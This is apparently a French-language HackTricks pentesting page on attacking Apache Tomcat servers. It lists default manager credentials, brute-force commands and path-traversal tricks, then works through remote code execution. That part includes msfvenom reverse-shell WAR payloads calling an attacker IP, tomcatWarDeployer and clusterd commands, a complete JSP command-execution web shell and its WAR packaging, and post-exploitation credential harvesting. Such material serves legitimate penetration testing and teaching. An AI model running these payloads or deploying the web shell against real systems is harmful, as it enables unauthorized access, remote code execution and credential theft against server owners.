mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
248 lines
13 KiB
Markdown
248 lines
13 KiB
Markdown
# Tomcat
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
## Découverte
|
|
|
|
* Il fonctionne généralement sur le **port 8080**
|
|
* **Erreur courante de Tomcat :**
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Énumération
|
|
|
|
### Version
|
|
```bash
|
|
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
|
|
|
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
|
|
```
|
|
### Localisation des fichiers de gestionnaire
|
|
|
|
Il est intéressant de trouver où se trouvent les pages **`/manager`** et **`/host-manager`** car elles peuvent avoir un nom différent. Vous pouvez les rechercher avec une attaque brute-force.
|
|
|
|
### Énumération de noms d'utilisateur
|
|
|
|
Dans certaines versions antérieures à Tomcat6, vous pouviez énumérer les utilisateurs :
|
|
```bash
|
|
msf> use auxiliary/scanner/http/tomcat_enum
|
|
```
|
|
### Identifiants par défaut
|
|
|
|
Le chemin le plus intéressant de Tomcat est _**/manager/html**_, à l'intérieur de ce chemin, **vous pouvez télécharger et déployer des fichiers war** (exécuter du code). Mais ce chemin est protégé par une authentification HTTP de base, les identifiants les plus courants sont:
|
|
|
|
* admin:admin
|
|
* tomcat:tomcat
|
|
* admin:\<RIEN>
|
|
* admin:s3cr3t
|
|
* tomcat:s3cr3t
|
|
* admin:tomcat
|
|
|
|
Vous pouvez tester ces identifiants et plus en utilisant:
|
|
```bash
|
|
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
|
```
|
|
Un autre chemin intéressant de Tomcat est `/manager/status`, où vous pouvez voir la version du système d'exploitation et de Tomcat. Cela est utile pour trouver des vulnérabilités affectant la version de Tomcat lorsque vous ne pouvez pas accéder à `/manager/html`.
|
|
|
|
### Bruteforce
|
|
```bash
|
|
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
|
|
|
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
|
|
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
|
|
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
|
|
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
|
|
```
|
|
## Vulnérabilités
|
|
|
|
### Divulgation de la trace de mot de passe
|
|
|
|
Essayez d'accéder à `/auth.jsp` et si vous avez beaucoup de chance, il **pourrait divulguer le mot de passe dans une trace de retour**.
|
|
|
|
### Double encodage d'URL
|
|
|
|
Une vulnérabilité bien connue _pour_ accéder au gestionnaire d'application \_\_ est mod\_jk dans CVE-2007-1860, qui permet **la traversée de chemin à double encodage d'URL**.
|
|
|
|
Pour accéder à la gestion web de Tomcat, allez à : _pathTomcat/%252E%252E/manager/html_
|
|
|
|
Notez que pour télécharger le webshell, vous devrez peut-être utiliser le tour de double encodage et envoyer également un cookie et/ou un jeton SSRF.\
|
|
Pour accéder à la porte dérobée, vous devrez peut-être également utiliser le tour de double encodage.
|
|
|
|
### /examples
|
|
|
|
Les scripts d'exemple suivants qui accompagnent Apache Tomcat v4.x - v7.x peuvent être utilisés par les attaquants pour obtenir des informations sur le système. Ces scripts sont également connus pour être vulnérables à l'injection de script intersite (XSS) (à partir de [ici](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).
|
|
|
|
* /examples/jsp/num/numguess.jsp
|
|
* /examples/jsp/dates/date.jsp
|
|
* /examples/jsp/snp/snoop.jsp
|
|
* /examples/jsp/error/error.html
|
|
* /examples/jsp/sessions/carts.html
|
|
* /examples/jsp/checkbox/check.html
|
|
* /examples/jsp/colors/colors.html
|
|
* /examples/jsp/cal/login.html
|
|
* /examples/jsp/include/include.jsp
|
|
* /examples/jsp/forward/forward.jsp
|
|
* /examples/jsp/plugin/plugin.jsp
|
|
* /examples/jsp/jsptoserv/jsptoservlet.jsp
|
|
* /examples/jsp/simpletag/foo.jsp
|
|
* /examples/jsp/mail/sendmail.jsp
|
|
* /examples/servlet/HelloWorldExample
|
|
* /examples/servlet/RequestInfoExample
|
|
* /examples/servlet/RequestHeaderExample
|
|
* /examples/servlet/RequestParamExample
|
|
* /examples/servlet/CookieExample
|
|
* /examples/servlet/JndiServlet
|
|
* /examples/servlet/SessionExample
|
|
* /tomcat-docs/appdev/sample/web/hello.jsp
|
|
|
|
### Traversée de chemin (..;/)
|
|
|
|
Dans certaines [**configurations vulnérables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : `/..;/`
|
|
|
|
Ainsi, par exemple, vous pourriez être en mesure d'**accéder à la page du gestionnaire de Tomcat** en accédant à : `www.vulnerable.com/lalala/..;/manager/html`
|
|
|
|
**Une autre façon** de contourner les chemins protégés en utilisant cette astuce est d'accéder à `http://www.vulnerable.com/;param=value/manager/html`
|
|
|
|
## RCE
|
|
|
|
Enfin, si vous avez accès au gestionnaire d'application Web de Tomcat, vous pouvez **télécharger et déployer un fichier .war (exécuter du code)**.
|
|
|
|
### Limitations
|
|
|
|
Vous ne pourrez déployer un WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans _tomcat-users.xml_ généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie entre les versions) (voir la section [POST](tomcat.md#post)).
|
|
```bash
|
|
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
|
|
|
# deploy under "path" context path
|
|
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
|
|
|
|
# undeploy
|
|
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
|
```
|
|
### Metasploit
|
|
|
|
Metasploit est un outil de test de pénétration open source qui permet aux testeurs de pénétrer dans les systèmes informatiques et de découvrir des vulnérabilités. Il est utilisé pour automatiser les tâches de test de pénétration, telles que la recherche de vulnérabilités, l'exploitation de vulnérabilités et la création de rapports sur les résultats des tests. Metasploit est largement utilisé par les professionnels de la sécurité pour tester la sécurité des systèmes informatiques et pour évaluer les risques de sécurité.
|
|
```bash
|
|
use exploit/multi/http/tomcat_mgr_upload
|
|
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
|
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
|
|
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
|
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
|
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|
```
|
|
### Coquille Inverse MSFVenom
|
|
|
|
Le payload de coquille inverse MSFVenom est un type de payload qui permet à un attaquant d'obtenir un accès à distance à un système cible en exécutant une coquille inverse sur la machine cible. Ce type de payload est souvent utilisé lors de tests de pénétration pour exploiter des vulnérabilités dans les applications Web et les serveurs.
|
|
|
|
Pour créer un payload de coquille inverse MSFVenom, vous pouvez utiliser la commande suivante :
|
|
|
|
```
|
|
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your IP> LPORT=<your port> -f war > shell.war
|
|
```
|
|
|
|
Cette commande crée un fichier WAR contenant le payload de coquille inverse. Vous pouvez ensuite déployer ce fichier sur un serveur Tomcat vulnérable pour obtenir un accès à distance à la machine cible.
|
|
```bash
|
|
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
|
|
```
|
|
Ensuite, **téléchargez le fichier `revshell.war` et accédez-y (**_**/revshell/**_**)**
|
|
|
|
### Lier et inverser la coquille avec [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
|
|
|
Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)
|
|
|
|
#### Télécharger
|
|
```bash
|
|
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
|
```
|
|
#### Shell inversé
|
|
```bash
|
|
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
|
```
|
|
#### Shell de liaison
|
|
```bash
|
|
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
|
```
|
|
### Utilisation de [Culsterd](https://github.com/hatRiot/clusterd)
|
|
```bash
|
|
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
|
```
|
|
### Méthode manuelle - Web shell
|
|
|
|
Créez **index.jsp** avec ce [contenu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
|
```java
|
|
<FORM METHOD=GET ACTION='index.jsp'>
|
|
<INPUT name='cmd' type=text>
|
|
<INPUT type=submit value='Run'>
|
|
</FORM>
|
|
<%@ page import="java.io.*" %>
|
|
<%
|
|
String cmd = request.getParameter("cmd");
|
|
String output = "";
|
|
if(cmd != null) {
|
|
String s = null;
|
|
try {
|
|
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
|
BufferedReader sI = new BufferedReader(new
|
|
InputStreamReader(p.getInputStream()));
|
|
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
|
} catch(IOException e) { e.printStackTrace(); }
|
|
}
|
|
%>
|
|
<pre><%=output %></pre>
|
|
```
|
|
|
|
```bash
|
|
mkdir webshell
|
|
cp index.jsp webshell
|
|
cd webshell
|
|
jar -cvf ../webshell.war *
|
|
webshell.war is created
|
|
# Upload it
|
|
```
|
|
Vous pouvez également installer ceci (permet l'upload, le téléchargement et l'exécution de commandes): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
|
|
|
### Méthode manuelle 2
|
|
|
|
Obtenez un shell web JSP tel que [celui-ci](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) et créez un fichier WAR:
|
|
```bash
|
|
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
|
zip -r backup.war cmd.jsp
|
|
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
|
|
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
|
|
```
|
|
## POST
|
|
|
|
Le nom du fichier de crédentials de Tomcat est _tomcat-users.xml_.
|
|
```bash
|
|
find / -name tomcat-users.xml 2>/dev/null
|
|
```
|
|
Autres moyens de collecter les identifiants Tomcat:
|
|
```bash
|
|
msf> use post/multi/gather/tomcat_gather
|
|
msf> use post/windows/gather/enum_tomcat
|
|
```
|
|
## Autres outils de scan Tomcat
|
|
|
|
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|